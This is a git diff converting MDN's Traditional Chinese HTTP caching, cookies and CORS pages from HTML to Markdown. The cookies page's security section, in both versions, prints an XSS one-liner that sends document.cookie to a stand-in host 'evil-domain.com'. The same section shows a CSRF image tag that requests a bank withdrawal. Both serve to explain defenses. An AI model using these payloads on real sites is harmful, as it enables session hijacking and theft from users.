containing a resource like HTML documents, images or files. +- Permanent redirects: a {{HTTPStatus(301)}} (Moved Permanently) response. +- Error responses: a {{HTTPStatus(404)}} (Not Found) result page. +- Incomplete results: a {{HTTPStatus(206)}} (Partial Content) response. +- Responses other than {{HTTPMethod("GET")}} if something suitable for use as a cache key is defined. + +A cache entry might also consist of multiple stored responses differentiated by a secondary key, if the request is target of content negotiation. For more details see the information about the {{HTTPHeader("Vary")}} header [below](#Varying_responses). + +## 控制快取 + +### `Cache-control` 檔頭 + +{{HTTPHeader("Cache-Control")}} 是 HTTP/1.1 用來特別指令快取如何處理回覆和要求的通用檔頭欄位。使用此欄位和多種的指令,來定義你的快取機制。 + +#### 不要存任何快取 + +快取不該存取任何的使用者請求或者伺服器的回覆。每個請求都是送到原始的伺服器去取得資源。 + +```plain +Cache-Control: no-store +``` + +#### 快取需存取,但是要重新驗證 + +快取伺服器在把已儲存的複製版本傳給請求者之前,先會送一個請求給網頁伺服器做驗證。 + +```plain +Cache-Control: no-cache +``` + +#### 私有或共用的快取 + +共用(Public)這個指令指出此回覆訊息可以由任何快取給存取。這點可以變成很有用處,假如頁面有不容易快取成功的 HTTP 驗證的訊息或者回覆狀態碼,現在應該很容易被存取了。 + +相對的,私有(Private)的指令指示快取只給一個使用者使用,且不能被共用的快取伺服器給儲存過。隱私視窗(無痕模式)的快取就可能是這樣子。 + +```plain +Cache-Control: private +Cache-Control: public +``` + +#### 有效期限 + +在這裡最重要的指令就是"`max-age=`" ,意思是指存放在快取伺服器上的資源有剩下多少時間被認定還是新鮮的。 跟{{HTTPHeader("Expires")}}不太一樣,這個檔頭欄位快取指的是請求此回覆的日期和時間。對於程式中不常更新的檔案,你可以積極地使用此機制。這些檔案包含了,圖檔、CSS、Javascripts 檔案等等。 + +想要了解更多的話,請參見下面的[Freshness](#Freshness)。 + +```plain +Cache-Control: max-age=31536000 +``` + +#### 驗證 + +當使用"`must-revalidate`"指令時,快取伺服器一定要先發送請求訊息給網頁伺服器驗證,請已經確認是過有效期限且檔案有更新的回覆的話,舊的檔案就不能使用。假如想了解更多,請參見下面的[Validation](#Cache_validation)。 + +```plain +Cache-Control: must-revalidate +``` + +### `Pragma`檔頭欄位 + +{{HTTPHeader("Pragma")}} 是 HTTP/1.0 的檔頭欄位,此檔頭欄位沒有特別指是 HTTP 回覆怎麼處理,所以用此來取代 HTTP/1.1 `Cache-Control`通用檔頭欄位並不是很穩定。假如`Cache-Control` 檔頭欄位在傳送請求訊息時被省略掉了,此檔頭欄位運作的結果跟 `Cache-Control: no-cache`一樣`。此Pragma`欄位只能跟 HTTP/1.0 的請求者使用。 + +## Freshness + +Once a resource is stored in a cache, it could theoretically be served by the cache forever. Caches have finite storage so items are periodically removed from storage. This process is called _cache eviction_. On the other side, some resources may change on the server so the cache should be updated. As HTTP is a client-server protocol, servers can't contact caches and clients when a resource changes; they have to communicate an expiration time for the resource. Before this expiration time, the resource is _fresh_; after the expiration time, the resource is _stale_. Eviction algorithms often privilege fresh resources over stale resources. Note that a stale resource is not evicted or ignored; when the cache receives a request for a stale resource, it forwards this request with a {{HTTPHeader("If-None-Match")}} to check if it is in fact still fresh. If so, the server returns a {{HTTPStatus("304")}} (Not Modified) header without sending the body of the requested resource, saving some bandwidth. + +Here is an example of this process with a shared cache proxy: + +![Show how a proxy cache acts when a doc is not cache, in the cache and fresh, in the cache and stale.](http_staleness.png) + +The freshness lifetime is calculated based on several headers. If a "`Cache-Control: max-age=N`" header is specified, then the freshness lifetime is equal to N. If this header is not present, which is very often the case, it is checked if an {{HTTPHeader("Expires")}} header is present. If an `Expires` header exists, then its value minus the value of the {{HTTPHeader("Date")}} header determines the freshness lifetime. + +### Heuristic freshness checking + +If an origin server does not explicitly specify freshness (e.g. using {{HTTPHeader("Cache-Control")}} or {{HTTPHeader("Expires")}} header) then a heuristic approach may be used. + +In this case look for a {{HTTPHeader("Last-Modified")}} header. If this header is present, then the cache's freshness lifetime is equal to the value of the `Date` header minus the value of the `Last-modified` header divided by 10. The expiration time is computed as follows: + +```plain +expirationTime = responseTime + freshnessLifetime - currentAge +``` + +where `responseTime` is the time at which the response was received according to the browser. For more information see [RFC 7234: Hypertext Transfer Protocol (HTTP/1.1): 4.2.2. Calculating Heuristic Freshness](https://datatracker.ietf.org/doc/html/rfc7234#section-4.2.2). + +### Revved resources + +The more we use cached resources, the better the responsiveness and the performance of a Web site will be. To optimize this, good practices recommend to set expiration times as far in the future as possible. This is possible on resources that are regularly updated, or often, but is problematic for resources that are rarely and infrequently updated. They are the resources that would benefit the most from caching resources, yet this makes them very difficult to update. This is typical of the technical resources included and linked from each Web pages: JavaScript and CSS files change infrequently, but when they change you want them to be updated quickly. + +Web developers invented a technique that Steve Souders called _revving_[\[1\]](https://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/). Infrequently updated files are named in a specific way: in their URL, usually in the filename, a revision (or version) number is added. That way each new revision of this resource is considered as a resource on its own that _never_ changes and that can have an expiration time very far in the future, usually one year or even more. In order to have the new versions, all the links to them must be changed, that is the drawback of this method: additional complexity that is usually taken care of by the tool chain used by Web developers. When the infrequently variable resources change they induce an additional change to often variable resources. When these are read, the new versions of the others are also read. + +This technique has an additional benefit: updating two cached resources at the same time will not lead to the situation where the out-dated version of one resource is used in combination with the new version of the other one. This is very important when web sites have CSS stylesheets or JS scripts that have mutual dependencies, i.e., they depend on each other because they refer to the same HTML elements. + +![How the revved cache mechanism works. With minor typo fix to grammar issue: https://github.com/mdn/sprints/issues/2618](http_revved_fix_typo.png) + +The revision version added to revved resources doesn't need to be a classical revision string like 1.1.3, or even a monotonously growing suite of number. It can be anything that prevent collisions, like a hash or a date. + +## Cache validation + +When a cached document's expiration time has been reached, it is either validated or fetched again. Validation can only occur if the server provided either a _strong validator_ or a _weak validator_. + +Revalidation is triggered when the user presses the reload button. It is also triggered under normal browsing if the cached response includes the "`Cache-Control: must-revalidate`" header. Another factor is the cache validation preferences in the `Advanced->Cache` preferences panel. There is an option to force a validation each time a document is loaded. + +### ETags + +The {{HTTPHeader("ETag")}} response header is an _opaque-to-the-useragent_ value that can be used as a strong validator. That means that a HTTP user-agent, such as the browser, does not know what this string represents and can't predict what its value would be. If the `ETag` header was part of the response for a resource, the client can issue an {{HTTPHeader("If-None-Match")}} in the header of future requests – in order to validate the cached resource. + +### Last-Modified + +The {{HTTPHeader("Last-Modified")}} response header can be used as a weak validator. It is considered weak because it only has 1-second resolution. If the `Last-Modified` header is present in a response, then the client can issue an {{HTTPHeader("If-Modified-Since")}} request header to validate the cached document. + +When a validation request is made, the server can either ignore the validation request and respond with a normal {{HTTPStatus(200)}} `OK`, or it can return {{HTTPStatus(304)}} `Not Modified` (with an empty body) to instruct the browser to use its cached copy. The latter response can also include headers that update the expiration time of the cached document. + +## Varying responses + +The {{HTTPHeader("Vary")}} HTTP response header determines how to match future request headers to decide whether a cached response can be used, or if a fresh one must be requested from the origin server. + +When a cache receives a request that has a `Vary` header field, it must not use a cached response by default unless all header fields specified in the `Vary` header match in both the original (cached) request and the new request. + +![The Vary header leads cache to use more HTTP headers as key for the cache.](http_vary.png)This feature is commonly used to allow a resource to be cached in uncompressed and (various) compressed forms, and served appropriately to user agents based on the encodings that they support. For example, a server can set `Vary: Accept-Encoding` to ensure that a separate version of a resource is cached for all requests that specify support for a particular set of encodings, e.g. `Accept-Encoding: gzip,deflate,sdch`. + +```plain +Vary: Accept-Encoding +``` + +> **備註:** Use `Vary` with care—it can easily reduce the effectiveness of caching! A caching server should use [normalization](#normalization) to reduce duplicated cache entries and unnecessary requests to the origin server. This is particularly true when using `Vary` with headers and header values that can have many values. + +The `Vary` header can also be useful for serving different content to desktop and mobile users, or to allow search engines to discover the mobile version of a page (and perhaps also tell them that no [Cloaking](https://en.wikipedia.org/wiki/Cloaking) is intended). This is usually achieved with the `Vary: User-Agent` header, and works because the {{HTTPHeader("User-Agent")}} header value is different for mobile and desktop clients. + +```plain +Vary: User-Agent +``` + +### Normalization + +As discussed above, caching servers will by default match future requests _only_ to requests with _exactly_ the same headers and header values. That means a request will be made to the origin and a new cache will be created for every slight variant that might be specified by different user-agents. + +For example, by default all of the following result in a separate request to the origin and a separate cache entry: `Accept-Encoding: gzip,deflate,sdch`, `Accept-Encoding: gzip,deflate`, `Accept-Encoding: gzip`. This is true even though the origin server will probably respond with — and store — the same resource for all requests (a gzip)! + +To avoid unnecessary requests and duplicated cache entries, caching servers should use **normalization** to pre-process the request and cache only files that are needed. For example, in the case of `Accept-Encoding` you could check for `gzip` and other compression types in the header before doing further processing, and otherwise unset the header. In "pseudo code" this might look like: + +```plain +// Normalize Accept-Encoding +if (req.http.Accept-Encoding) { + if (req.http.Accept-Encoding ~ "gzip") { + set req.http.Accept-Encoding = "gzip"; + } + // elsif other encoding types to check +else { + unset req.http.Accept-Encoding; + } +} +``` + +`User-Agent` has even more variation than `Accept-Encoding`. So if using `Vary: User-Agent` for caching mobile/desktop variants of files you'd similarly check for the presence of `"mobile"` and `"desktop"` in the request `User-Agent` header, and then clear it. + +## See also + +- [RFC 7234: Hypertext Transfer Protocol (HTTP/1.1): Caching](https://datatracker.ietf.org/doc/html/rfc7234) +- [Caching Tutorial – Mark Nottingham](https://www.mnot.net/cache_docs) +- [HTTP caching – Ilya Grigorik](https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/http-caching) +- [RedBot](https://redbot.org/), a tool to check your cache-related HTTP headers. diff --git a/files/zh-tw/web/http/cookies/index.html b/files/zh-tw/web/http/cookies/index.html deleted file mode 100644 index 1384703474cbb8..00000000000000 --- a/files/zh-tw/web/http/cookies/index.html +++ /dev/null @@ -1,194 +0,0 @@ ---- -title: HTTP cookies -slug: Web/HTTP/Cookies -tags: - - Cookies - - Guide - - HTTP -translation_of: Web/HTTP/Cookies ---- -
{{HTTPSidebar}}
- -

HTTP cookie(web cookie、browser cookie)為伺服器傳送予使用者瀏覽器的一個小片段資料。瀏覽器可能儲存並於下一次請求回傳 cookie 至相同的伺服器。Cookie 通常被用來保持使用者的登入狀態——如果兩次請求都來自相同的瀏覽器。舉例來說,它記住了無狀態(stateless)HTTP 協議的有狀態資訊。

- -

Cookies 主要用於三個目的:

- -
-
Session 管理
-
帳號登入、購物車、遊戲分數,或任何其他伺服器應該記住的資訊
-
個人化
-
使用者設定、佈景主題,以及其他設定
-
追蹤
-
記錄並分析使用者行為
-
- -

Cookies 曾被當作一般的客戶端儲存方式來使用。這在當時 cookie 仍是將資料儲存在客戶端的唯一方法時是合法的,現在則建議使用現代的 storage APIs。Cookies 會被每一個請求發送出去,所以可能會影響效能(尤其是行動裝置的資料連線)。現代客戶端的 storage APIs 為 Web storage APIlocalStoragesessionStorage)以及 IndexedDB

- -
-

要檢視儲存的 cookies(以及其他網頁可以使用的儲存資料),你可以開啟開發者工具中的儲存檢示器(Storage Inspector)並自儲存樹(storage tree)選擇 Cookies。

-
- -

建立 cookies

- -

收到一個 HTTP 請求時,伺服器可以傳送一個 {{HTTPHeader("Set-Cookie")}} 的標頭和回應。Cookie 通常存於瀏覽器中,並隨著請求被放在{{HTTPHeader("Cookie")}} HTTP 標頭內,傳給同個伺服器。可以註明 Cookie 的有效或終止時間,超過後 Cookie 將不再發送。此外,也可以限制 Cookie 不傳送到特定的網域或路徑。

- - - -

{{HTTPHeader("Set-Cookie")}} HTTP 回應標頭從伺服器傳送 cookies 至用戶代理。一個簡單的 cookie 可以如下例設定:

- -
Set-Cookie: <cookie-name>=<cookie-value>
- -

這個來自伺服器的標頭告訴客戶端要儲存一個 cookie 。

- -
備註:以下是如何在不同的伺服器端應用程式中,使用 Set-Cookie 標頭: - - -
- -
HTTP/1.0 200 OK
-Content-type: text/html
-Set-Cookie: yummy_cookie=choco
-Set-Cookie: tasty_cookie=strawberry
-
-[page content]
- -

現在隨著每個請求,瀏覽器會使用 {{HTTPHeader("Cookie")}} 標頭將所有先前儲存的 cookies 傳給伺服器。

- -
GET /sample_page.html HTTP/1.1
-Host: www.example.org
-Cookie: yummy_cookie=choco; tasty_cookie=strawberry
- -

Session cookies

- -

以上創建的 cookie 為 session cookie:當客戶端關閉時即被刪除,因為它並沒有註明過期 Expires 或可維持的最大時間 Max-Age。不過網頁瀏覽器可使用 session restoring,讓 session cookies 永久保存,就像瀏覽器從來沒關閉。

- -

常駐 cookies

- -

常駐 cookies 不會在客戶關閉後到期,而是在一個特定的日期 (Expires) 或一個標明的時間長度後(Max-Age)。

- -
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
- -
-

備註:當到期日被設定後,時間與日期即為相對於用戶端設定 cookie 的時間,而非伺服器。

-
- -

Secure 以及 HttpOnly cookies

- -

Secure cookie 只有在以加密的請求透過 HTTPS 協議時,傳送給伺服器。但即便是 Secure ,敏感的資訊絕對不該存在 cookies 內,因為他們本質上是不安全的,這個旗標不能提供真正的保護。自 Chrome 52 以及 Firefox 52 開始,不安全的網站(http:)就不能以 Secure 的指示設定 cookies。

- -

為了避免跨站腳本攻擊 ({{Glossary("XSS")}}),JavaScript 的{{domxref("Document.cookie")}} API 無法取得 HttpOnly cookies;他們只傳送到伺服器。舉例來說,不需要讓 JavaScript 可以取用仍在伺服器 sessions 中的 cookies 時,就應該立 HttpOnly 的旗幟。

- -
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
- -

Cookies 的作用範圍

- -

DomainPath 的指示定義了 cookie 的作用範圍: cookies 應該被送到哪些 URLs 。

- -

Domain 註明了受允許的 hosts 能接收 cookie。若無註明,則預設給當前文件位置的 host,不包含 subdomain。Domain 有被註明,則 subdomains 總是被包含。

- -

舉例來說,當設定 Domain=mozilla.org 後,在像 developer.mozilla.org 之類的 subdomains 中,cookies 都被包含在內。

- -

Path 指出一個必定存在於請求 URL 中的 URL 路徑,使 Cookie 標頭能被傳出。%x2F(「/」)字元是資料夾分隔符號,子資料夾也同樣會被匹配。

- -

例如,當設定 Path=/docs 後,以下的路徑皆會匹配:

- -
    -
  • /docs
  • -
  • /docs/Web/
  • -
  • /docs/Web/HTTP
  • -
- -

SameSite cookies {{experimental_inline}}

- -

SameSite 讓伺服器要求 cookie 不應以跨站請求的方式寄送,某種程度上避免了跨站請求偽造的攻擊({{Glossary("CSRF")}})。SameSite cookies 目前仍在實驗階段,尚未被所有的瀏覽器支援。

- -

JavaScript 使用 Document.cookie 存取

- -

新的 cookies 亦可經由 JavaScript 的 {{domxref("Document.cookie")}} 屬性生成,且若沒有立 HttpOnly 旗幟,已存在的 cookies 可以透過 JavaScript 取得。

- -
document.cookie = "yummy_cookie=choco";
-document.cookie = "tasty_cookie=strawberry";
-console.log(document.cookie);
-// logs "yummy_cookie=choco; tasty_cookie=strawberry"
- -

請注意以下安全性章節的資安問題。JavaScript 可取得的 Cookies 即有被 XSS 攻擊竊取的風險。

- -

安全性

- -
-

機密或敏感的資訊永遠不應該以 HTTP Cookies 的方式儲存或傳送,因為整個機制的本質是不安全的。

-
- -

Session hijacking 以及 XSS

- -

Cookies 常用於網頁應用程式中,識別使用者與其 authenticated session,因此竊取 cookie 可能造成使用者的 authenticated session 被劫持。一般偷取 cookies 的作法包括社交工程(Social Engineering),或利用應用程式中的 {{Glossary("XSS")}} 漏洞。

- -
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
- -

Cookie 中的 HttpOnly 屬性,能藉由防止透過 JavaScript 取得 cookie 內容,來減少此類型的攻擊。

- -

Cross-site request forgery (CSRF)

- -

維基百科為 {{Glossary("CSRF")}} 舉了一個好例子。假設在一個未經過濾的對話或論壇中,某人插入了一個並非真實圖片,而是對你銀行伺服器請求領錢的 image:

- -
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
- -

現在如果你的銀行帳戶仍在登入狀態中,你的 cookies 仍然有效,並且沒有其他的驗證方式,當你載入包含此圖片的 HTML 同時,你的錢即會被轉出。以下是一些避免此情況發生的技術:

- -
    -
  • Input filtering 和 {{Glossary("XSS")}} 一樣是重要的。
  • -
  • 做任何敏感的動作前,都應該要求使用者確認。
  • -
  • 用於敏感動作的 Cookies 都只應該有短時間的生命週期。
  • -
  • 更多防範的技巧,參見 OWASP CSRF prevention cheat sheet
  • -
- -

追蹤及隱私

- -

第三方 cookies

- -

Cookies 會帶有他們所屬的網域名。若此網域和你所在的頁面網域相同,cookies 即為第一方(first-party)cookie,不同則為第三方(third-party)cookie。第一方 cookies 只被送到設定他們的伺服器,但一個網頁可能含有存在其他網域伺服器的圖片或組件(像橫幅廣告)。透過這些第三方組件傳送的 cookies 便是第三方 cookies,經常被用於廣告和網頁上的追蹤。參見 Google 常用的 cookies 種類。大部分的瀏覽器預設允許第三方 cookies,但也有些可以阻擋他們的 add-on(例如 EFFPrivacy Badger)。

- -
若沒有事先告訴消費者第三方 cookies 的存在,當消費者發現你使用 cookie 時,對你的信任將會受損。因此,公開表明 cookie 的使用(像在隱私權條款中)將減低發現 cookie 時的負面影響。有些國家有關於 cookies 的法律條文。範例可以參見維基百科的 cookie statement
- -
    -
- -

Do-Not-Track

- -

對於 cookie 的使用並沒有法律上或技術上的規定,但可利用 {{HTTPHeader("DNT")}} 標頭,指示網頁應用程式關閉頁面的追蹤、或跨站的使用者追蹤。參見{{HTTPHeader("DNT")}} 標頭以獲得更多資訊。

- - - -

歐洲議會在 Directive 2009/136/EC 中定義了歐盟的 cookies 規定,並於 2011 年 5 月 25 日生效。此指示本身並非法律,而是給歐盟會員國要作為法律,需符合之規定的指示。實際的法條可因國制宜。

- -

簡而言之,EU directive 指明要儲存或取得使用者電腦、手機、或其他裝置上的資訊前,都要經過使用者的同意。很多網站加了橫幅告知使用者 cookies 的使用。

- -

參見維基百科上此章節,並查詢國家的法律以取得最新與最精確的資訊。

- -

Zombie cookies and Evercookies

- -

Zombie cookies 或「Evercookies」是一個更激進的手段,刻意讓 cookies 在被刪除後重新創造,使其很難被永遠的刪除。這些 cookies 使用 Web storage API、Flash Local Shared Objects 和其他的技術,使得當他們被偵測不存在時,就會立刻重新創造。

- - - -

參見

- - diff --git a/files/zh-tw/web/http/cookies/index.md b/files/zh-tw/web/http/cookies/index.md new file mode 100644 index 00000000000000..41c81c13bd2fad --- /dev/null +++ b/files/zh-tw/web/http/cookies/index.md @@ -0,0 +1,183 @@ +--- +title: HTTP cookies +slug: Web/HTTP/Cookies +tags: + - Cookies + - Guide + - HTTP +translation_of: Web/HTTP/Cookies +--- +{{HTTPSidebar}} + +_HTTP cookie_(web cookie、browser cookie)為伺服器傳送予使用者瀏覽器的一個小片段資料。瀏覽器可能儲存並於下一次請求回傳 cookie 至相同的伺服器。Cookie 通常被用來保持使用者的登入狀態——如果兩次請求都來自相同的瀏覽器。舉例來說,它記住了[無狀態(stateless)](/zh-TW/docs/Web/HTTP/Overview#HTTP_is_stateless_but_not_sessionless)HTTP 協議的有狀態資訊。 + +Cookies 主要用於三個目的: + +- Session 管理 + - : 帳號登入、購物車、遊戲分數,或任何其他伺服器應該記住的資訊 +- 個人化 + - : 使用者設定、佈景主題,以及其他設定 +- 追蹤 + - : 記錄並分析使用者行為 + +Cookies 曾被當作一般的客戶端儲存方式來使用。這在當時 cookie 仍是將資料儲存在客戶端的唯一方法時是合法的,現在則建議使用現代的 storage APIs。Cookies 會被每一個請求發送出去,所以可能會影響效能(尤其是行動裝置的資料連線)。現代客戶端的 storage APIs 為 [Web storage API](/zh-TW/docs/Web/API/Web_Storage_API) (`localStorage` 和 `sessionStorage`)以及 [IndexedDB](/zh-TW/docs/Web/API/IndexedDB_API)。 + +> **備註:** 要檢視儲存的 cookies(以及其他網頁可以使用的儲存資料),你可以開啟開發者工具中的[儲存檢示器(Storage Inspector)](/zh-TW/docs/Tools/Storage_Inspector)並自儲存樹(storage tree)選擇 Cookies。 + +## 建立 cookies + +收到一個 HTTP 請求時,伺服器可以傳送一個 {{HTTPHeader("Set-Cookie")}} 的標頭和回應。Cookie 通常存於瀏覽器中,並隨著請求被放在{{HTTPHeader("Cookie")}} HTTP 標頭內,傳給同個伺服器。可以註明 Cookie 的有效或終止時間,超過後 Cookie 將不再發送。此外,也可以限制 Cookie 不傳送到特定的網域或路徑。 + +### `Set-Cookie` 及 `Cookie` 標頭 + +{{HTTPHeader("Set-Cookie")}} HTTP 回應標頭從伺服器傳送 cookies 至用戶代理。一個簡單的 cookie 可以如下例設定: + +```plain +Set-Cookie: = +``` + +這個來自伺服器的標頭告訴客戶端要儲存一個 cookie 。 + +

備註: 以下是如何在不同的伺服器端應用程式中,使用 Set-Cookie 標頭:

+ +```plain +HTTP/1.0 200 OK +Content-type: text/html +Set-Cookie: yummy_cookie=choco +Set-Cookie: tasty_cookie=strawberry + +[page content] +``` + +現在隨著每個請求,瀏覽器會使用 {{HTTPHeader("Cookie")}} 標頭將所有先前儲存的 cookies 傳給伺服器。 + +```plain +GET /sample_page.html HTTP/1.1 +Host: www.example.org +Cookie: yummy_cookie=choco; tasty_cookie=strawberry +``` + +### Session cookies + +以上創建的 cookie 為 _session cookie_:當客戶端關閉時即被刪除,因為它並沒有註明過期 `Expires` 或可維持的最大時間 `Max-Age`。不過網頁瀏覽器可使用 **session restoring**,讓 session cookies 永久保存,就像瀏覽器從來沒關閉。 + +### 常駐 cookies + +常駐 cookies 不會在客戶關閉後到期,而是在一個特定的日期 (`Expires`) 或一個標明的時間長度後(`Max-Age`)。 + +```plain +Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; +``` + +> **備註:** 當到期日被設定後,時間與日期即為相對於用戶端設定 cookie 的時間,而非伺服器。 + +### `Secure` 以及 `HttpOnly` cookies + +Secure cookie 只有在以加密的請求透過 HTTPS 協議時,傳送給伺服器。但即便是 `Secure` ,敏感的資訊絕對不該存在 cookies 內,因為他們本質上是不安全的,這個旗標不能提供真正的保護。自 Chrome 52 以及 Firefox 52 開始,不安全的網站(`http:`)就不能以 `Secure` 的指示設定 cookies。 + +為了避免跨站腳本攻擊 ({{Glossary("XSS")}}),JavaScript 的{{domxref("Document.cookie")}} API 無法取得 `HttpOnly` cookies;他們只傳送到伺服器。舉例來說,不需要讓 JavaScript 可以取用仍在伺服器 sessions 中的 cookies 時,就應該立 `HttpOnly` 的旗幟。 + +```plain +Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly +``` + +### Cookies 的作用範圍 + +`Domain` 及 `Path` 的指示定義了 cookie 的作用範圍: cookies 應該被送到哪些 URLs 。 + +`Domain` 註明了受允許的 hosts 能接收 cookie。若無註明,則預設給[當前文件位置的 host](/zh-TW/docs/Web/API/Document/location)**,不包含 subdomain。** 若 `Domain` _有被註明_,則 subdomains 總是被包含。 + +舉例來說,當設定 `Domain=mozilla.org` 後,在像 `developer.mozilla.org` 之類的 subdomains 中,cookies 都被包含在內。 + +`Path` 指出一個必定存在於請求 URL 中的 URL 路徑,使 `Cookie` 標頭能被傳出。%x2F(「/」)字元是資料夾分隔符號,子資料夾也同樣會被匹配。 + +例如,當設定 `Path=/docs` 後,以下的路徑皆會匹配: + +- `/docs` +- `/docs/Web/` +- `/docs/Web/HTTP` + +### `SameSite` cookies {{experimental_inline}} + +`SameSite` 讓伺服器要求 cookie 不應以跨站請求的方式寄送,某種程度上避免了跨站請求偽造的攻擊({{Glossary("CSRF")}})。`SameSite` cookies 目前仍在實驗階段,尚未被所有的瀏覽器支援。 + +### JavaScript 使用 `Document.cookie` 存取 + +新的 cookies 亦可經由 JavaScript 的 {{domxref("Document.cookie")}} 屬性生成,且若沒有立 `HttpOnly` 旗幟,已存在的 cookies 可以透過 JavaScript 取得。 + +```js +document.cookie = "yummy_cookie=choco"; +document.cookie = "tasty_cookie=strawberry"; +console.log(document.cookie); +// logs "yummy_cookie=choco; tasty_cookie=strawberry" +``` + +請注意以下[安全性](/zh-TW/docs/Web/HTTP/Cookies#Security)章節的資安問題。JavaScript 可取得的 Cookies 即有被 XSS 攻擊竊取的風險。 + +## 安全性 + +> **備註:** 機密或敏感的資訊永遠不應該以 HTTP Cookies 的方式儲存或傳送,因為整個機制的本質是不安全的。 + +### Session hijacking 以及 XSS + +Cookies 常用於網頁應用程式中,識別使用者與其 authenticated session,因此竊取 cookie 可能造成使用者的 authenticated session 被劫持。一般偷取 cookies 的作法包括社交工程(Social Engineering),或利用應用程式中的 {{Glossary("XSS")}} 漏洞。 + +```js +(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; +``` + +Cookie 中的 `HttpOnly` 屬性,能藉由防止透過 JavaScript 取得 cookie 內容,來減少此類型的攻擊。 + +### Cross-site request forgery (CSRF) + +[維基百科](https://en.wikipedia.org/wiki/HTTP_cookie#Cross-site_request_forgery)為 {{Glossary("CSRF")}} 舉了一個好例子。假設在一個未經過濾的對話或論壇中,某人插入了一個並非真實圖片,而是對你銀行伺服器請求領錢的 image: + +```html + +``` + +現在如果你的銀行帳戶仍在登入狀態中,你的 cookies 仍然有效,並且沒有其他的驗證方式,當你載入包含此圖片的 HTML 同時,你的錢即會被轉出。以下是一些避免此情況發生的技術: + +- Input filtering 和 {{Glossary("XSS")}} 一樣是重要的。 +- 做任何敏感的動作前,都應該要求使用者確認。 +- 用於敏感動作的 Cookies 都只應該有短時間的生命週期。 +- 更多防範的技巧,參見 [OWASP CSRF prevention cheat sheet]()。 + +## 追蹤及隱私 + +### 第三方 cookies + +Cookies 會帶有他們所屬的網域名。若此網域和你所在的頁面網域相同,cookies 即為*第一方(first-party)cookie*,不同則為*第三方(third-party)cookie*。第一方 cookies 只被送到設定他們的伺服器,但一個網頁可能含有存在其他網域伺服器的圖片或組件(像橫幅廣告)。透過這些第三方組件傳送的 cookies 便是第三方 cookies,經常被用於廣告和網頁上的追蹤。參見 [Google 常用的 cookies 種類](https://www.google.com/policies/technologies/types/)。大部分的瀏覽器預設允許第三方 cookies,但也有些可以阻擋他們的 add-on(例如 [EFF](https://www.eff.org/) 的 [Privacy Badger](https://addons.mozilla.org/zh-TW/firefox/addon/privacy-badger-firefox/))。 + +若沒有事先告訴消費者第三方 cookies 的存在,當消費者發現你使用 cookie 時,對你的信任將會受損。因此,公開表明 cookie 的使用(像在隱私權條款中)將減低發現 cookie 時的負面影響。有些國家有關於 cookies 的法律條文。範例可以參見維基百科的 [cookie statement](https://wikimediafoundation.org/wiki/Cookie_statement)。 + +### Do-Not-Track + +對於 cookie 的使用並沒有法律上或技術上的規定,但可利用 {{HTTPHeader("DNT")}} 標頭,指示網頁應用程式關閉頁面的追蹤、或跨站的使用者追蹤。參見{{HTTPHeader("DNT")}} 標頭以獲得更多資訊。 + +### EU cookie directive + +歐洲議會在 [Directive 2009/136/EC](http://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32009L0136) 中定義了歐盟的 cookies 規定,並於 2011 年 5 月 25 日生效。此指示本身並非法律,而是給歐盟會員國要作為法律,需符合之規定的指示。實際的法條可因國制宜。 + +簡而言之,EU directive 指明要儲存或取得使用者電腦、手機、或其他裝置上的資訊前,都要經過使用者的同意。很多網站加了橫幅告知使用者 cookies 的使用。 + +參見[維基百科上此章節](https://en.wikipedia.org/wiki/HTTP_cookie#EU_cookie_directive),並查詢國家的法律以取得最新與最精確的資訊。 + +### Zombie cookies and Evercookies + +Zombie cookies 或「Evercookies」是一個更激進的手段,刻意讓 cookies 在被刪除後重新創造,使其很難被永遠的刪除。這些 cookies 使用 [Web storage API](/zh-TW/docs/Web/API/Web_Storage_API)、Flash Local Shared Objects 和其他的技術,使得當他們被偵測不存在時,就會立刻重新創造。 + +- [Evercookie by Samy Kamkar](https://github.com/samyk/evercookie) +- [維基百科上的 Zombie cookies](https://en.wikipedia.org/wiki/Zombie_cookie) + +## 參見 + +- {{HTTPHeader("Set-Cookie")}} +- {{HTTPHeader("Cookie")}} +- {{domxref("Document.cookie")}} +- {{domxref("Navigator.cookieEnabled")}} +- [Inspecting cookies using the Storage Inspector](/zh-TW/docs/Tools/Storage_Inspector) +- [Cookie specification: RFC 6265](https://tools.ietf.org/html/rfc6265) +- [Nicholas Zakas article on cookies](https://www.nczonline.net/blog/2009/05/05/http-cookies-explained/) +- [Nicholas Zakas article on cookies and security](https://www.nczonline.net/blog/2009/05/12/cookies-and-security/) +- [HTTP cookie on Wikipedia](https://en.wikipedia.org/wiki/HTTP_cookie) diff --git a/files/zh-tw/web/http/cors/index.html b/files/zh-tw/web/http/cors/index.html deleted file mode 100644 index 2e34210d97f610..00000000000000 --- a/files/zh-tw/web/http/cors/index.html +++ /dev/null @@ -1,534 +0,0 @@ ---- -title: 跨來源資源共用(CORS) -slug: Web/HTTP/CORS -tags: - - AJAX - - CORS - - Cross-Origin Resource Sharing - - Fetch - - Fetch API - - HTTP - - HTTP Access Controls - - Same-origin policy - - Security - - XMLHttpRequest -translation_of: Web/HTTP/CORS ---- -
{{HTTPSidebar}}
- -

跨來源資源共用(Cross-Origin Resource Sharing ({{Glossary("CORS")}}))是一種使用額外 {{Glossary("HTTP")}} 標頭令目前瀏覽網站的{{Glossary("user agent","使用者代理")}}取得存取其他來源(網域)伺服器特定資源權限的機制。當使用者代理請求一個不是目前文件來源——例如來自於不同網域(domain)、通訊協定(protocol)或通訊埠(port)的資源時,會建立一個跨來源 HTTP 請求(cross-origin HTTP request)

- -

舉個跨來源請求的例子:http://domain-a.com HTML 頁面裡面一個 <img> 標籤的 src 屬性載入來自 http://domain-b.com/image.jpg 的圖片。現今網路上許多頁面所載入的資源,如 CSS 樣式表、圖片影像、以及指令碼(script)都來自與所在位置分離的網域,如內容傳遞網路(content delivery networks, CDN)。

- -

